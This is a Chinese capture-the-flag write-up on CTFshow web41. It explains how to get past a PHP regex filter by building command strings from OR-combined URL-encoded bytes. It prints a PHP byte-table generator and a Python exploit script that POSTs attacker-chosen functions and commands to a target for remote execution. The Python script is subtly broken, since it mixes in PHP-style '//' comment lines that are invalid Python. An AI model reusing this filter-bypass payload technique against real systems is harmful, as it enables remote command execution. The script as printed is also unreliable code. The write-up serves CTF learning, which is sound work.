CTFshow之RCE代码命令远程执行第41关超详细讲解。保教包会,不会可私信!

己所不欲,硬施于人。

                        --莫迪大仙

引言:看了许多讲解第41关的文章和视频,无论是各位大神的文章还是小迪、官方的视频讲解,我都觉得差点东西,就是只知道如此做,对于其中原理有点含糊其辞、闪烁其词,试图蒙混过关。所以今天斗胆以我的视角讲解。

我们将以官方讲解进行起手,进而结合自我理解进行抽丝剥茧!

一、实验准备

1、ctf赛题网址:ctf.show

2、工具:hackbar插件、firefox浏览器

3、相关脚本(两个)

二、实验过程

1、代码审计

通过下图可知,0-9的数字a-z的字母都被过滤,基本上已经寄了一大半了,再看还过滤了$和&,导致参数逃逸变成幻影,再接着看[]和{}也被过滤了。

终于,悬着的心还是死了;弯着的腰还是断了......

但是再再看()还存在,所以看能不能异或运算、或运算绕过

2、脚本运行

 相关脚本地址:ctfshow web入门 web41_ctfshow web41-CSDN博客

通过1中的分析,我们开始捋清我们的思路

编码过程

(1)使用rce_or.php脚本从0-255Ascii编码表中生成能够符合正则表达式的编码值集合,并且将其存放在rce_or.txt本中(ASCII码使用指定的7位或8位二进制数组合来表示128或256种可能的字符)

代码分析(查看注释):

<?php

//打开rce_or.txt文件,用于后续存放能够绕过正则表达式的编码字符
$myfile = fopen("rce_or.txt", "w");

//将每一次符合条件的编码字符存放再content变量处,最后将其读入rce_or.txt文件中
$contents="";

//开始遍历,由于或运算是双目运算,所以我们进行双重循环得到结果
for ($i=0; $i < 256; $i++) {
    for ($j=0; $j <256 ; $j++) {

        if($i<16){
            $hex_i='0'.dechex($i);
        }
        else{
            $hex_i=dechex($i);
        }
        if($j<16){
            $hex_j='0'.dechex($j);
        }
        else{
            $hex_j=dechex($j);
        }
        $preg = '/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i';
        if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
                    echo "";
    }
 
        else{
        $a='%'.$hex_i;
        $b='%'.$hex_j;
        $c=(urldecode($a)|urldecode($b));
        if (ord($c)>=32&ord($c)<=126) {
            $contents=$contents.$c." ".$a." ".$b."\n";
        }
    }

}
}
fwrite($myfile,$contents);
fclose($myfile);

解码过程

(2)使用python环境运行exp.py并且加上赛题url

# -*- coding: utf-8 -*-
import requests
import urllib
from sys import *
import os

#没有将php写入环境变量需手动运行,若写入环境变量则可注释
os.system("php rce_or.php") 

//是否传入两个参数,是则运行脚本,否则终止
if(len(argv)!=2):
   print("="*50)
   print('USER:python exp.py <url>')
   print("eg:  python exp.py http://ctf.show/")
   print("="*50)
   exit(0)

//读取第二个参数作为url
url=argv[1]

//定义函数进行处理传入的函数和命令
def action(arg):
   s1=""
   s2=""
   for i in arg:

//打开rec_or.php脚本生成的字符编码集文件
       f=open("rce_or.txt","r")
       while True:

//每次读一行
           t=f.readline()

//读到空则停止
           if t=="":
               break
           if t[0]==i:
               #print(i)
               s1+=t[2:5]
               s2+=t[6:9]
               break
       f.close()

//进行或运算得到响应字符串

//同时加上("")符号串
   output="(\""+s1+"\"|\""+s2+"\")"
   return(output)
   
while True:
   param=action(input("\n[+] your function:") )+action(input("[+] your command:"))

//此处开始构造post参数,进行执行命令
   data={

//由于网站是通过GET方法进行接受参数,所以此处的c写成其他字符也行
       'c':urllib.parse.unquote(param)
       }
   r=requests.post(url,data=data)

//将得到的值进行输出再控制台
   print("\n[*] result:\n"+r.text)

3、实现过程

(1)使用rce_or.php脚本生成本地rce_or.txt文件

(2)使用python运行exp.py向ctf赛题网址发送post请求

(3)返回结果

ps:写了之后发现,还是太年轻了!!!!写的也太差了

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值